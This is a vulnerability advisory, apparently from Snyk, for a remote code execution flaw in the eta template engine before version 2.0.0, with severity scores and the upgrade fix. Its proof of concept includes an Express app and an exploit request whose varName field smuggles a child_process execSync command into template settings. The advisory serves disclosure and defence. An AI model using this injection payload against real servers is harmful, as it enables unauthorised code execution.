Remote Code Execution (RCE) Affecting eta package, versions <2.0.0


Severity

0.0
high
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.75% (82nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ETA-2936803
  • published 29 Jan 2023
  • disclosed 29 Jun 2022
  • credit Rayhan Ahmed Niloy

How to fix?

Upgrade eta to version 2.0.0 or higher.

Overview

eta is a Lightweight, fast, and powerful embedded JS template engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by overwriting template engine configuration variables with view options received from The Express render API.

Note: This is exploitable only for users who are rendering templates with user-defined data.

PoC

const express = require('express')

const app = express()
const eta = require('eta');

app.use(express.json());
app.engine('eta', eta.renderFile);
app.set('view engine', 'eta');

app.set('views', './views');

app.post('/user/update', function (req, res) {
const userConfig = req.body;

res.render('index.eta', {settings: userConfig});
})

app.listen(8001, function () {
console.log('listening for requests on http://localhost:8001')
})

Exploit request:

POST /user/update HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 219

{ "view options": { "varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')", "include" : false, "includeFile": false, "useWith": true } }

CVSS Scores

version 3.1
Expand this section

Snyk

8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high